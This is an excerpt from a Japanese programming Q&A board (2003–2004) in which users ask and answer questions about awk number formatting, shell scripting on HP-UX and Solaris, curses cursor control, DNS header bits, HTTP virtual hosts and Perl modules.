「〜かどうか判定したい」ということなら、何らかの判断基準が
ないと判定できませんので、そこらへんを明確にしてください。

>>3477 tomo
> perlではC言語の様にタイマIDという形で複数のタイマを
> 識別管理する事は出来ないのでしょうか?
C にも perl にもタイマ ID という概念はありません。

そもそも「タイマ ID」とは Win32API (MFC?) のそれですか?

なら、perl で Win32API を利用できるモジュールを探せば
できるでしょうが、あいにく Windows には明るくないので
    http://www.cpan.org
から探してみてください。

No. 3479 # なっち 2003/12/20 (土) 14:14:55
68user 様

UNIXの部屋等、ちょくちょく参考にさせて頂いております。ありがとうございます。

私、現在、DNSまわりのプログラミングを行っておりまして、ネットワークプログラミングの基礎知識の
DNS クライアントを作ってみようのページを、基礎から理解する意味で読ませて頂いたのですが、
この(2)のページ、http://x68000.startshop.co.jp/~68user/net/resolver-2.html
DNSヘッダのフラグの部分の第13〜15bitの3bitがRCODEとなっていますが、これは第13〜16bitの4bit分の
間違いだと思うのですがいかがでしょうか。

細かい部分で申し訳ないのですが、気になりましたのでご報告させて頂きました。お忙しいとは思いますが、
よろしくお願いいたします。

No. 3480 # 68user 2003/12/20 (土) 22:35:38
>>3479 なっち
ご指摘ありがとうございます。修正しました。ついでに
    1…15bit、16…31bit
となっていたものを
    1…16bit、17…32bit
に修正しました。

# http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/org/resolver-2.html

しかし、一般的には MSB を第 0bit とする場合が多いでしょうか?
「詳解TCP/IP Vol.1」では 0〜31bit となっていましたので、
悩むところです。

No. 3481 # へにか [URL] 2003/12/21 (日) 00:08:07
何をもってして一般的というかによりますが・・・

ハードウェアでは、例えばverilogのバス表記の例にとると、
[15:0] > [0:15] >>> [1:16]という頻度で見かけます。

僕の知っている限りの物理層では、[0]が時間軸で最初に
送受信されるので、[0:15]という表記が現れます。
とはいえ、中身を解釈する際に、[15:0]のように置き換え
ないと、人間には理解し難い事が多々あり、そのような処理
は僕はよくします。

No. 3482 # 2003/12/24 (水) 00:15:56
awkの使い方について教えて下さい。
awkを使用して、以下の出力を、数字は、3桁毎にカンマで区切り、
出力位置を揃えて出力したいのですが、
180 file1.txt
1821 file2.txt
113457 fil3.txt

        180 file1.txt
    1,821 file2.txt
113,457 file3.txt
と出力したいのですが、
数字の部分を揃えることができません。
そのため、たの部分もそろいません。
どうすれば上手くできますか。

-------------------------------
#!/bin/sh
#

cat list.txt | sort -n -r | awk '
        function put_comm(val) {
                if (val < 1000) {
                        printf("%d",val) ;
                } else {
                        put_comm(val / 1000) ;
                        printf(",%03d",val % 1000) ;
                }
        }
        {
                if ($1 < 1000) {
                        printf("%d",$1) ;
                } else {
                        val=$1 ;
                        put_comm(val) ;
                }
        }
        {
                  #printf "\n"
                  printf(" %s\n",$2)
        }'

No. 3483 # tonpei 2003/12/24 (水) 15:15:14
いつも参考にさせていただいてます

dtterm上で動作するC言語のプログラムを作成しています
そのプログラムで、cursesのwaddchとwrefreshを使用して1画面分の描画を1文字ずつ行っているのですが、
その際にカーソル表示がされているため、ちらついてしまいます
カーソルを一時的に消す方法は無いでしょうか?

ちなみに、waddchで画面編集後、最後にwrefreshを1回呼ぶ方法ですと、
一気に1画面分を表示できるのですが、編集時間が長く感じられるため、
1文字ずつパラパラと表示したいと考えています。

No. 3484 # zsh 2003/12/24 (水) 18:16:33
>>3482
桁数の上限がわからないと駄目ですが
こんなのでどうでしょ?(下では8桁まで)

------
$ cat list
123 file1.txt
123456 file2.txt
1234567 file3.txt
$ cat test.awk
#!/bin/nawk -f
{
                i = sprintf("%d",length($1) / 3) ;
                j = sprintf("%d",length($1) % 3) ;
                if ( i > 1 ) {
                                if ( j == 0 ) j = 3 ;
                                str_buf = sprintf("%s",substr($1,0,j)) ;
                                for ( k=0 ; k<i ; k++ ) {
                                                cut_str = substr($1,j+(k*3)+1,3) ;
                                                if ( cut_str == "" ) break ;
                                                str_buf = sprintf("%s,%s",str_buf,cut_str) ;
                                                cut_str = "" ;
                                }
                } else {
                                str_buf = $1 ;
                }
                printf("%10s %s\n",str_buf,$2) ;
}

$ ./test.awk list
              123 file1.txt
      123,456 file2.txt
  1,234,567 file3.txt

No. 3485 # 68user 2003/12/24 (水) 19:01:30
>>3481 へにか
> 僕の知っている限りの物理層では、[0]が時間軸で最初に
> 送受信されるので、[0:15]という表記が現れます。
なるほど。ネットワークプログラミングでは当然ネットワーク
バイトオーダで MSB が先になるわけなので、
      [0:15] か [1:16]
のどちらかで決まりですね。

個人的には「プログラマたるもの数えるときは 0 から」という
ことで、そのうち [0:15] に修正しておこうと思います。


>>3483 tonpei
curses はよくわかってませんが、curs_set(0) ですかね。

capability 的には cursor_invisible (vi) っぽいです。

ただ、端末エミュレータにカーソルを消す機能があるかという
問題があるかもしれません。うちの FreeBSD の /etc/termcap に
      xterm-basic|xterm common (XFree86):...:vi=\E[?25l:...
とあったので xterm で
      % printf "\033[?25l"
とするとカーソルが消えましたが、kterm-6.2.0_5 では消えません
でした。kterm にカーソルを消す機能がないような感じがします。

でもまぁ dtterm なら多分大丈夫だとは思います。

No. 3486 # 2003/12/25 (木) 09:56:04
>>3484 zsh
環境も書かずに質問して申し訳ありません。
HP-UX11.00です。
nawkが入っていないので、awkに変えて実行しました。
一応、上手く動きました。

cat list.txt $1 | sort -n -r | awk '
{
        i = sprintf("%d",length($1) / 3) ;
        j = sprintf("%d",length($1) % 3) ;
        if ( i > 1 ) {
                if ( j == 0 ) j = 3 ;

                str_buf = sprintf("%s",substr($1,0,j)) ;
                for ( k=0 ; k<i ; k++ ) {
                        cut_str = substr($1,j+(k*3)+1,3) ;
                        if ( cut_str == "" ) break ;

                        str_buf = sprintf("%s,%s",str_buf,cut_str) ;
                        cut_str = "" ;
                }
        } else {
                str_buf = $1 ;
        }
        printf("%10s %s\n",str_buf,$2) ;
}'

No. 3487 # 2003/12/25 (木) 10:09:10
>>3486
以下の様に、数字が5桁、4桁は正しくでませんでした。

123 file1.txt
1234 file2.txt
12345 file3.txt
123456 file4.txt
1234567 file5.txt

No. 3488 # 2003/12/25 (木) 11:10:38
>>3487
    if ( i > 1 ) {

    if ( i >= 1 ) {
です。

No. 3489 # zsh 2003/12/25 (木) 13:02:59
>>3488
すみません、その部分のif文自体不要でした。
(不要になるように修正してたのを忘れてました。)
-----
$ cat list
1 file1.txt
12 file1.txt
123 file1.txt
1234 file2.txt
12345 file3.txt
123456 file4.txt
1234567 file5.txt
$ cat test.sh
#!/bin/sh

sort -n -r $1 | awk '{
                i = sprintf("%d",length($1) / 3) ;
                j = sprintf("%d",length($1) % 3) ;
                if ( j == 0 ) j = 3 ;
                str_buf = sprintf("%s",substr($1,0,j)) ;
                for ( k=0 ; k<i ; k++ ) {
                                cut_str = substr($1,j+(k*3)+1,3) ;
                                if ( cut_str == "" ) break ;
                                str_buf = sprintf("%s,%s",str_buf,cut_str) ;
                                cut_str = "" ;
                }
                printf("%10s %s\n",str_buf,$2) ;
}'

$ sh test.sh list
  1,234,567 file5.txt
      123,456 file4.txt
        12,345 file3.txt
          1,234 file2.txt
              123 file1.txt
                12 file1.txt
                  1 file1.txt

No. 3490 # tonpei 2003/12/25 (木) 16:41:01
68Userさん、回答ありがとうございました

またまた質問がありますので、どなたか回答よろしくお願いします

環境:HP-UX Ver.11.0

1.XWindowのログイン後、言語選択の画面が表示されますが、この画面を出さずに、デフォルトで
    ATOKを選ぶ方法は?
2.XWindowの起動後、ウインドウ内に、ツールバー(端末起動、エディタ起動などのボタン郡)が
    表示されますが、これを非表示(アイコンも無くす)にする方法は?

以上、2件についてご存知でしたら、回答お願いします

No. 3491 # みの 2003/12/26 (金) 02:16:59
HP-UXですが、シェルについて教えて下さい。
printfを使用して書式で、変数の中身を出力しているのですが
上手くできません。

-----------------
#!/bin/sh
name1="yamada"
name2="taro"

printf "%s %s --> %s\n",${name1} ${name2} NG

exit 0
------------

とすると

yamada NG -->
,taro

となってしまいます。

No. 3492 # 68user 2003/12/26 (金) 02:27:02
>>3490 tonpei
http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse
      「回答をもらったら結果を報告する」
をよく読んでください。なお、>>3490 の質問については
わかりません。

>>3491 みの
> printf "%s %s --> %s\n",${name1} ${name2} NG
カンマが余分だと思います。
    printf "%s %s --> %s\n" ${name1} ${name2} NG

> yamada NG -->
> ,taro
> となってしまいます。
本当ですか?
    taro NG -->
    ,yamada
になりませんか?

No. 3493 # 68user 2003/12/26 (金) 02:27:11
http://x68000.startshop.co.jp/~68user/net/
    ネットワークプログラミングの基礎知識

    http://x68000.startshop.co.jp/~68user/net/crypt-1.html 暗号化のお話 (1) 共通鍵暗号方式
を更新し、
    http://x68000.startshop.co.jp/~68user/net/crypt-2.html 暗号化のお話 (2) 公開鍵暗号方式
    http://x68000.startshop.co.jp/~68user/net/crypt-3.html 暗号化のお話 (3) 署名
    http://x68000.startshop.co.jp/~68user/net/crypt-5.html 暗号化のお話 (5) まとめ
を追加しました。

No. 3494 # tonpei 2003/12/26 (金) 11:36:15
>>3492 68user
安易な回答をしてしまい申し訳ありませんでした。
利用規約を読ませていただきましたので、改めて回答させてください。

御指摘頂いた、curs_set(0)使用することで、dtterm上でカーソルの消去ができました。
また、printfの方法でも可能でした。

ありがとうございました

No. 3495 # みの 2003/12/26 (金) 12:35:38
>3492
すみません
カンマが余分でした。
ありがとうございます。

No. 3496 # ブラウン 2003/12/26 (金) 12:47:15
HP-UXでのawkについて質問なのですが、
awkを使用してファイルのENDを判断できるのですか。

例えば、
cat date.txt
aaa
aaa bbb
aaa bbb ccc

111
111 222
111 222 3333

とあった場合、

------------------------
#/bin/sh

awk '
function sub() {
}
        getline ;
        処理省略
{
        if (NF == 0) next ;
        if (NF >= 1) sub() ;
        ※
}' data.txt
----------------------

※の場所でファイルのENDか判断したいのですができるのでしょうか。

No. 3497 # zsh 2003/12/29 (月) 09:51:28
>>3496 ブラウン
ファイルのENDというのが最後の行の事なのか
EOFの事なのか不明ですが、最終行であれば以下のように。
ちなみに環境はSolarisです。
------
#!/bin/sh

max_line=`wc -l $1 | awk '{ print $1 }'`
awk '{ print ;
              if ( NR == max_line ) printf "END\n" }' max_line=$max_line $1
------
行数を取得する為だけにawk使うのはどうかと思いますが。

No. 3498 # ポッしブル 2003/12/29 (月) 22:27:36
はじめましてです。C言語を勉強しているものです。
質問なんですが、ネットワークプログラミングで
チャットを使ったゲームみたいなものを作りたいなと思っておりまして、
具体的にチャットではサーバーがクライアント全員にメッセージを送る
形になりますが、このゲームではクライアントが
メッセージを送る人を選ぶことができるようにしたいのです。
たとえば会話しているのは5人いるけどそのうち3人に送ろうという
感じです。クライアント側で、全ユーザーの名前が表示され
その中から送る人を選ぶみたいなかんじのゲームなんですが。

チャットにおいて選んだユーザーにだけメッセージを送るというのは
一体どうすれば可能なのですか?

No. 3499 # ブラウン 2003/12/30 (火) 10:37:54
>>3497 zsh
ありがとうございます。

説明不足ですみません。
ファイルのENDというのは、最終行ではなく、EOFのことです。
また、行数を取得するためにawkを使用していません。
awkを使用して、ファイルから1レコードづつよみこみ条件
毎に処理を行い、EOFだったら終了と考えていたのですが。

No. 3500 # zsh 2003/12/31 (水) 13:11:47
>>3499 ブラウン
取得したいのがEOFだとすると
getlineの戻り値見るくらいしか思いつきません。
普通にENDに記述じゃダメですか?
或いは行数+フィールド番号でファイルの最後をチェックするとか。

>また、行数を取得するためにawkを使用していません。
すみません、行数を取得するためだけにawkを使うのはどうか
というのは自分に対して言ったものです。

No. 3501 # けんおお 2004/01/02 (金) 07:07:10
あけましておめでとうございます。
朝早くから失礼いたします。

このページは、EmacsLipsでネットワークプログラミングについて
ぐぐっていたら、たどり着きました。

早速一つ質問させてください。
telnetでウェブサーバからファイルを取ってこようとしたところ、
GET /hoge.rdf HTTP/1.0
で、404になってしまいます。ブラウザやwgetだと取ってこれます。
こういう場合は、どのようにすればいいのでしょうか?

# あと、私事で恐縮なのですが、SEGA BBSのログを発見したので、
# ためしに名前を入れてみたらおもいっきりヒットしました。(^_^;)
# いやー懐かしい。とにかく懐かしいです。(;_;)ホロホロ
# ちなみに、SEGA BBSのトップにあるsagabitoへのリンクって
#「くにおにく」さんのページですよね?
# 当時、「くにおにく」さんに大変世話になった記憶があります。
# 無事で過ごされているようでしたらなによりです。
# 以上、私事で失礼しました。

No. 3502 # けんおお 2004/01/03 (土) 00:30:54
>>3501 けんおお
すみません。自己解決しました。
GET /hoge.rdf HTTP/1.1
Host:hoge.jp
Connection:close
でいけました。
最近は、HTTP/1.0ではファイルを取ってこれなくなったんでしょうか?
それでは、失礼します。

No. 3503 # ShinoP 2004/01/05 (月) 10:20:47
はじめまして。
検索辿ってこちらを拝見させていただきました。

早速質問させていただきたいのですが、
SunのUltra10 SPARKマシンで、SunOSのデスクトップに
ファイルを配置するためにデスクトップの絶対パスを調べたいのですが、
Windowsのデスクトップのようにショートカットの絶対パスを辿ろうと
しても一向に見つかりません。

もしかしてSunOSのデスクトップ(ワークステーション?)上のショートカットは実体のない参照(リンク)でしかなくて、デスクトップの絶対パスなんてものは存在しない(ファイルを置くことはできない)のでしょうか。

よろしくご教示お願いします。

No. 3504 # 68user 2004/01/05 (月) 15:23:45
>>3498 ポッしブル
> チャットにおいて選んだユーザーにだけメッセージを送るというのは
> 一体どうすれば可能なのですか?
名前と IP アドレスの一覧のテーブルを内部に持っておいて、選択
された名前から対応する IP アドレスを得て、その IP アドレス宛に
メッセージを送信すれば可能でしょう。

要は、そういう動作をするように、あなたがプログラムを組まなく
てはならないということです。


>>3501 けんおお
>>3502 けんおお
GET /hoge.rdf HTTP/1.0 が 404 not found なのは、
バーチャルホストな web サーバだったからでしょう。
    http://x68000.startshop.co.jp/~68user/net/http-4.html
        さらなる改善点・バーチャルホストに対応
を読んでください。

HTTP/1.1 で OK だったのは、HTTP/1.1 だと Host ヘッダが
必須なため、結果的にバーチャルホストに対してホスト名を
提示することができたからだと思われます。

> # ちなみに、SEGA BBSのトップにあるsagabitoへのリンクって
> #「くにおにく」さんのページですよね?
そうです。でも今は公開されていないようですね。1年ほど前に
BBS があることは確認しましたが、今は見つけられません。


>>3503 ShinoP
CDE ですか? CDE をまともに使ったことはありませんが、
Solaris2.6+CDE 環境で試してみると、
    ~/.dt/Desktop/.!dtdesktop
    ~/.dt/sessions/current/.!dtdesktop
などのファイルに、リンク先のフルパスが保存されているような
気がします。

No. 3505 # ShinoP 2004/01/05 (月) 15:42:24
>>3504 68user
いえ、リンク先のフルパスが知りたいのではなく、目的は
「デスクトップ」自体の絶対パスを知りたい、ということです。
少々説明が足りませんでした。

その手段としてWindowsと同じ感覚でショートカットのリンク先ではなく
ショートカット自身の絶対パス
(Windows2000ならば
"C:\Documents and Settings\administrator\デスクトップ" で表されるような)
を調べようとしたのですが、
どうにも見つかりません。

これは現在疑ってる通り、ショートカット自体には実体がなく、
したがってデスクトップに実体ファイルを配置する、
ということは不可能だということなのでしょうか。

No. 3506 # 68user 2004/01/05 (月) 16:27:21
>>3505 ShinoP
そういうことであれば

> ショートカット自体には実体がなく、したがってデスクトップに
> 実体ファイルを配置する、ということは不可能
だと思います。

ただしわたしは CDE は常用しておらず、今回初めて CDE のヘルプを
見たくらいなので、間違っている可能性は多分にあります。

No. 3507 # ShinoP 2004/01/05 (月) 20:07:12
>>3506 68user
CDEのデスクトップショートカットはシンボリックリンクみたいなもの、
ということのようですね。
断念して代替パスを設定する方向で進めようと思います。
ありがとうございました。

No. 3508 # ブラウン 2004/01/06 (火) 02:26:13
>>3500 zsh
>取得したいのがEOFだとすると
>getlineの戻り値見るくらいしか思いつきません。
>普通にENDに記述じゃダメですか?
>或いは行数+フィールド番号でファイルの最後をチェックするとか
getlineの戻り値ですか。
ファイルの総行数を取得して、読み込んだ行数と比較するかと思う
のですが。

>或いは行数+フィールド番号でファイルの最後をチェックするとか
ちなみにどうするのですか。

>普通にENDに記述じゃダメですか。
とはどういう意味ですか。
ファイルの最後にENDを付けた様式ということですか。
それでしたら無理です。

No. 3509 # 68user 2004/01/06 (火) 22:54:37
>>3508 ブラウン
>> 普通にENDに記述じゃダメですか。
> とはどういう意味ですか。
    {
            行ごとの処理
    }
    END {
            終了時の処理
    }
という書き方ではどうか、ということでしょう。これは
awk の設計思想に沿った最も自然な書き方だと思います。

それがダメなのなら、わたしも getline の戻り値を
取るのがよいと思います。

No. 3510 # zsh 2004/01/11 (日) 14:43:24
>>3509 68user
フォローありがとうございます。

>>3508 ブラウン
>ファイルの総行数を取得して、読み込んだ行数と比較するかと思う
>のですが。
それは以前提示したスクリプトの方法ですが、
それだと最終行かどうかの判断であり、EOFかどうかの判断ではありません。

>>或いは行数+フィールド番号でファイルの最後をチェックするとか
>ちなみにどうするのですか。
あまり意味のない方法ですので、気にしない方が良いと思います。

No. 3511 # ブラウン 2004/01/14 (水) 12:42:42
シェルについて2点教えて下さい。
1.フィールドの区切がカンマ「,」となっている行から
    例えば、
    山田 太郎,ヤマタ゛ タロウ,Yamda Taro,18,1760/12/24
    山田 花子,ヤマタ゛ ハナコ,Yamda HANAKO,18,1760/12/24
    から、
    先頭のフィールドかあとか、 フィールドの3,4,5を取り出したいのです
    が、awkを使う以外にないのでしょうか。

2.シェルで、今日から10日前の日付を取得することはできるのでしょうか

環境は、HP-UX11.00、Bシェルです。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3512 # ブラウン 2004/01/14 (水) 12:45:26
>>3511 ブラウン
シェルについて2点教えて下さい。
1.フィールドの区切がカンマ「,」となっている行から
        例えば、
        山田 太郎,ヤマタ゛ タロウ,Yamda Taro,18,1760/12/24
        山田 花子,ヤマタ゛ ハナコ,Yamda HANAKO,18,1760/12/24
        から、
        先頭のフィールドから順にとか、フィールドの3,4,5を取り出したい
        のですが、awkを使う以外にないのでしょうか。
        awkを使わないで出来る方法と、awkを使ってできる方法を教えて
        下さい。

2.シェルで、今日から10日前の日付や、指定した日付の10日前を
    取得することはできるのでしょうか

環境は、HP-UX11.00、Bシェルです。

No. 3513 # 68user 2004/01/14 (水) 13:09:06
>>3511 ブラウン
質問したら必ず結果を書いてください。
      http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse

No. 3514 # hanzen 2004/01/14 (水) 21:57:22
賢いやり方か、上手いやり方か分からないが
こうすればできる。

--------------------------------------------
#!/bin/sh

back_to_day() {
        case $MM in
            0)
                MM=12
                MAX=31
                ;;
            1|3|5|7|8|10)
                MAX=31
                ;;
            4|6|9|11)
                MAX=30
                ;;
            2)
                if [ `expr $YYYY % 4` -eq 0 ]; then
                    MAX=29
                else
                    MAX=28
                fi
                ;;
        esac
}

YYYY=`echo $1 | cut -c1-4`
MM=`echo $1 | cut -c5-6`
DD=`echo $1 | cut -c7-`

DD=$((DD-7))
if [ ${DD} -le 0 ] ; then
        MM=$((MM-1))
        if [ ${MM} -eq 0 ] ; then
                YYYY=$((YYYY-1))
                back_to_day
                DD=$((DD*-1))
                DD=$((MAX-DD))
        fi
fi

printf "%d%02d%02d\n" $YYYY $MM $DD

exit 0

No. 3515 # zsh 2004/01/15 (木) 20:20:12
>>3512 ブラウン
区切り文字がカンマで、awkを使用しない場合。
------
$ cat data.txt
山田 太郎,ヤマタ゛ タロウ,Yamda Taro,18,1760/12/24
山田 花子,ヤマタ゛ ハナコ,Yamda HANAKO,18,1760/12/24
$ cat sam1.sh
#!/bin/sh

OIFS="$IFS"
i=0
while read line ; do
                IFS=","
                i=`expr $i + 1`
                set -- $line
                j=0
                while [ $# -gt 0 ] ; do
                                j=`expr $j + 1`
                                echo "$i - $j : $1"
                                shift
                done
                IFS="$OIFS"
done < data.txt
$ sh sam1.sh
1 - 1 : 山田 太郎
1 - 2 : ヤマタ゛ タロウ
1 - 3 : Yamda Taro
1 - 4 : 18
1 - 5 : 1760/12/24
2 - 1 : 山田 花子
2 - 2 : ヤマタ゛ ハナコ
2 - 3 : Yamda HANAKO
2 - 4 : 18
2 - 5 : 1760/12/24
------

指定された日付の10日前の日付を取得するのは面倒そうなのでパス。
単純に今日から10日前を取得する方法については、
下(↓)を良く読みましょう。
http://x68000.startshop.co.jp/~68user/unix/prgmemo.html#date

No. 3516 # ブラウン 2004/01/16 (金) 09:20:37
>>3515 zsh
ありがとうございます。
行の編集についてはできました。

しかし、日付の操作については、
http://x68000.startshop.co.jp/~68user/unix/prgmemo.html#date
を参考にしてやって見ました。
タイムゾーンを設定して、URLの例にあるのでは、上手くいったのですが
% env TZ=JST+15 date (1日前の時刻を表示)
% env TZ=JST-33 date (1日後の時刻を表示)

2日前では、
-9+48=39
% env TZ=JST+39 date
は上手く行きませんでした。
環境は、HP-UX11.00、Bシェルです。

No. 3517 # せんべい [E-mail] 2004/01/19 (月) 13:15:09
初めて投稿いたします。
UNIXのコマンドで、split というファイル分割コマンドがありますが、分割後のファイルをWindowsで結合させるための、MS-DOS コマンド、あるいは、フリーのソフトを知らないでしょうか。

No. 3518 # 68user 2004/01/20 (火) 10:21:31
>>3517 せんべい
> 分割後のファイルをWindowsで結合させるための、MS-DOS コマンド
copy a.txt+b.txt+c.txt out.txt でできたような気がします。

> あるいは、フリーのソフトを知らないでしょうか。
http://www.so-net.ne.jp/download/win/util/file/spl_mrg/ など。

No. 3519 # 初心者 2004/01/20 (火) 16:51:15
はじめまして,unix初心者です,教えて下さい。
異常終了させてしまい,1つのハードがmountされません。fsckを使って修復しようとしたのですが,エラーメッセージによると部分的なセクターが破損しているため修復できないとの内容でした。破損している箇所だけのフォーマットは可能なのでしょうか?もしあれば方法を教えて下さい。お願い致します。

No. 3520 # 68user 2004/01/20 (火) 21:24:58
>>3519 初心者
詳しくないのでなんともいえませんが (これまで fsck でこけた
経験がないので)、少なくとも以下の情報は必要でしょう。
    - OS 名とバージョン
    - ファイルシステム名 (ufs, ext2 など)
    - 正確なエラーメッセージ (エラーメッセージで検索できるよう原文を提示する)

検索のキーワードとしては「スーパーブロック」ですかねぇ。

No. 3521 # yabu 2004/01/20 (火) 22:42:46
unixのfindコマンドについて教えて下さい。
findを使用するとファイルの検索ができますが、
自分がいるカレントのみを検索し、その配下にあるディレクトリ
を検索したくないのですが、どうすれば可能でしょうか。

例えば、
現在位置
cd /tmp/tool/bin
/tmp/tool/bin 入るとします。
find .. -name ".log" -type f -print
と行うと、tool及び、bin配下やよのたのディレクトリを検索

find .. ! -depth -name "*.log" -print
と行うと検索しない。
1つもだった、ところのファイルのみを検索したい

No. 3522 # 68user 2004/01/20 (火) 23:34:40
>>3521 yabu
-maxdepth 1 でいけるでしょうが、-maxdepth に対応
していない find もあります。

単にファイル名でマッチさせたいだけあれば、
        % echo *.log
でもいいでしょう。

No. 3523 # moko 2004/01/21 (水) 00:08:04
Sunでaliasの設定でつまづいてます。。(alias rm="rm -i")
シェルはshなので.profileに記述しましたが効きません。

ネット検索しましたがshでのalias設定なしとありました。

shでのalias設定はどう行えばいいでしょうか?
ご教授お願いします

No. 3524 # yabu 2004/01/21 (水) 13:17:13
>>3522 68user

>-maxdepth 1 でいけるでしょうが、-maxdepth に対応
>していない find もあります。
HP-UX、SunOSともに対応していませんでした。

>単にファイル名でマッチさせたいだけあれば、
> % echo *.log
>でもいいでしょう。
でやらせていただきました。

No. 3525 # external 2004/01/22 (木) 16:39:29
IE などブラウザ上のボタンなどの操作を外部からしたいのですがしたいのですが、可能でしょうか?

例、VC++ のソフトで、Yahoo の検索を検索キーワードを入力や検索ボタンを押したい。
例、証券会社のHPで定期的に株価更新のため株価ボタンを押す。

などです。
ここの主旨から外れるかも知れませんが、宜しくお願いします。

No. 3526 # 68user 2004/01/23 (金) 02:53:00
>>3523 moko
まずは
      $ . $HOME/.profile
としましょう。それで alias が効かないなら .profile
の書き方が悪い。alias が効くなら .profile が読み込まれ
ていないか、.profile 読み込み後に unalias されている
んでしょう。

>>3525 external
詳しいところは知らないので、キーワードだけ並べておきます。
      COM (Component Object Model)
      OLE (Object Linking and Embedding)
      ActiveX

No. 3527 # yuki 2004/01/26 (月) 17:55:06
初歩的な質問ですが、Solarisのhostsについて教えて下さい。
他の端末と通信する為には/etc/inet/hostsにIPを書くと思っています。
でも、/etc/hostsにも同じhostsがあり、両方直しています。
/etc/hostsには/etc/inet/hostsと違った意味があるのでしょうか。
宜しくお願いします。

No. 3528 # 68user 2004/01/26 (月) 18:04:45
>>3527 yuki
http://www.freebsd.org/cgi/man.cgi?query=hosts&manpath=SunOS+5.9
    NOTES
        /etc/inet/hosts is the official SVR4 name of the hosts file.
        The symbolic link /etc/hosts exists for BSD compatibility.

というわけで、同じでしょう。

No. 3529 # kai 2004/01/26 (月) 18:58:03
Volumeの初期化に関して,どうのような操作をすれば良いか教えてください。digital unix 4.0

No. 3530 # momo 2004/01/27 (火) 16:07:08
crontabを実行した時間がわかるようにするためにはどのような書き方をしたらよいかわかりません。教えていただけないでしょうか。
よろしくお願いいたします。

No. 3531 # ken 2004/01/27 (火) 23:04:41
こんばんは。
Perlのほうが文字列処理などが書きやすい、でもCのほうが速度が速かったりするなどの理由から、XSを使用して二つの言語を合わせてみようと思いました。
そこで、CのヘッダをXSにかけてからPerlを実行したのですが、
"Your vendor has not defined Prime macro Prime"
というエラーが出てしまいます。

XSによって生成されたのはPrimeというディレクトリで、その中にあるPrime.pmに、Perlから第一引数として数字を渡すものでした。
Perlのほうからは、
Prime::Prime($ARGV[0])
として呼び出しましたが、何がいけなかったのか、教えていただきたく思います。
よろしくお願いします。

No. 3532 # Hiro 2004/01/28 (水) 00:54:41
AIXに付いて教えて!
AIXマシンでは、gettimeofday()関数が使えない!
よくよく調べると、コンパイル時、XOPEN_SOURCEを指定している為
である事が判ったが、XOPEN_SOURCEを外す訳にもいかず困ってます。
gettimeofday()関数と同じ機能で、置き換えられる関数ってないでしょうか?

No. 3533 # 68user 2004/01/28 (水) 02:06:01
>>3529 kai
Volume ってなんですか? 音量のことですか? であれば
わかりません (ioctl とか使うんですかね)。

>>3530 momo
1. cron から実行するスクリプト内でファイルに時刻を記録する
2. * * * * * date>>/foo/bar/log; command とする。
3. /var/cron/logs などにあるログを見る。

>>3531 ken
XS はよく知りませんが、perl のバージョンも、何をどうやったの
かも書かれていないので何ともいえません。

下記は perl 5.005_03 の例ですが、まずはここからでしょう。

    % h2xs -A -n Prime
    % cd Prime
    int
    Prime(num)
            int num;
    CODE:
            RETVAL = 2*num;
    OUTPUT:
                RETVAL
    % perl Makefile.pl
    % make
    hoge.pl を作成
    % cat hoge.pl
    use ExtUtils::testlib;
    use Prime;
    print Prime::Prime(123),"\n";
    % perl hoge.pl
    246

>>3532 Hiro
なぜ XOPEN_SOURCE が指定されていると gettimeofday が使えない
のかよくわかりませんが、古い形のプロトタイプ宣言が〜とかいう
話ではないかと思うので、mygettimeofday.c を作って、
        #include <sys/time.h>
        int gettimeofday (struct timeval *, void *) #undef XOPEN_SOURCE

        int mygettimeofday (struct timeval *Tp, void *Tzp){
                return gettimeofday(Tp, Tzp);
        }
とするとか。

No. 3534 # 68user 2004/01/28 (水) 02:10:03
>>3533 68user
> int gettimeofday (struct timeval *, void *) #undef XOPEN_SOURCE
        int gettimeofday (struct timeval *, void *);
        #undef XOPEN_SOURCE
のタイプミスです。

No. 3535 # ken 2004/01/28 (水) 02:15:32
さきほどXSのことを質問させていただいたのですが、なんとか解決しました(汗
どうやら、根本的に思い違いをしていたのが原因のようで...。
わざわざのご回答、ありがとうございます。
もう少しぼくが早く解決して書き込んでいれば良かったのですけどね。

No. 3536 # yuki 2004/01/28 (水) 13:36:44
>>3528 68user
The symbolic linkでしたか。
ぜんぜん気がつきませんでした。有難うございました。

No. 3537 # タカ 2004/01/29 (木) 14:52:55
はじめまして。タカと申します。
Perl関連について御教授ください。
Windows端末にてActivePerl-5.8.2.808-MSWin32-x86をインストールし
Perlを作成しております。
そこで、PerlでExcelファイルに出力するプログラムを
作ろうと思っております。
その為、Spreadsheet-WriteExcel-0.42モジュールを、
ダウンロードしました。
本モジュールはWindowsでも機能すると表示されているのですが、
どうやって使用すればいいのか分かりません。
Spreadsheet::WriteExcel version 0.33(日本語訳)の
HPを見ているのですが、私の知識不足で不明です。

もしご存知であれば御教授いただきたいのですが、
よろしくお願いいたします。

No. 3538 # 68user 2004/01/29 (木) 15:15:28
>>3537 タカ
http://member.nifty.ne.jp/hippo2000/perltips/module_install.htm
によると、ActivePerl の場合は PPM なるものを使うそうです。

# わたしは使ったことはありません。

No. 3539 # タカ 2004/01/29 (木) 15:56:06
ありがとうございました。
ちょっと試してみます。

No. 3540 # has 2004/01/29 (木) 17:02:12
クッキーに関する↓の冒頭でRFCに盛り込まれていないとありますが、
どうも2109で触れているそうですよ。
http://x68000.startshop.co.jp/~68user/webcgi/cookie.html

参考にさせていただいたサイト:
http://www.nonki.net/technical/report/http-cookie/
http://www.ietf.org/rfc/rfc2109.txt

No. 3541 # 68user 2004/01/29 (木) 18:48:20
>>3540 has
ありがとうございます。とりあえずそこだけ直しておきます。

> どうも2109で触れているそうですよ。
RFC 2109 は obsolete で、今は RFC 2965 です。
      http://www.studyinghttp.net/rfc_ja/rfc2965_ja.html

でもまぁ、Set-Cookie2 は全然流行っていませんけどね。

No. 3542 # 右院堂 2004/02/01 (日) 21:42:44
はじめまして 右院堂 と申します。
いきなり質問で エゴ丸出しで申し訳ないですが
ASP には Response.Buffer = True というのがあって、
ある html の form から 呼ばれた asp が 呼び元へ 自分の form を
Response.Redirect で 返す時、Response.Redirect が実行されるまで HTMLヘッダーの出力を引き伸ばすことが出来ます。
これをやらないと HTMLヘッダーが 自分自身として Redirectされる前に出力されてしまうからです。
Perl では これに相当する記述はあるんでしょうか。

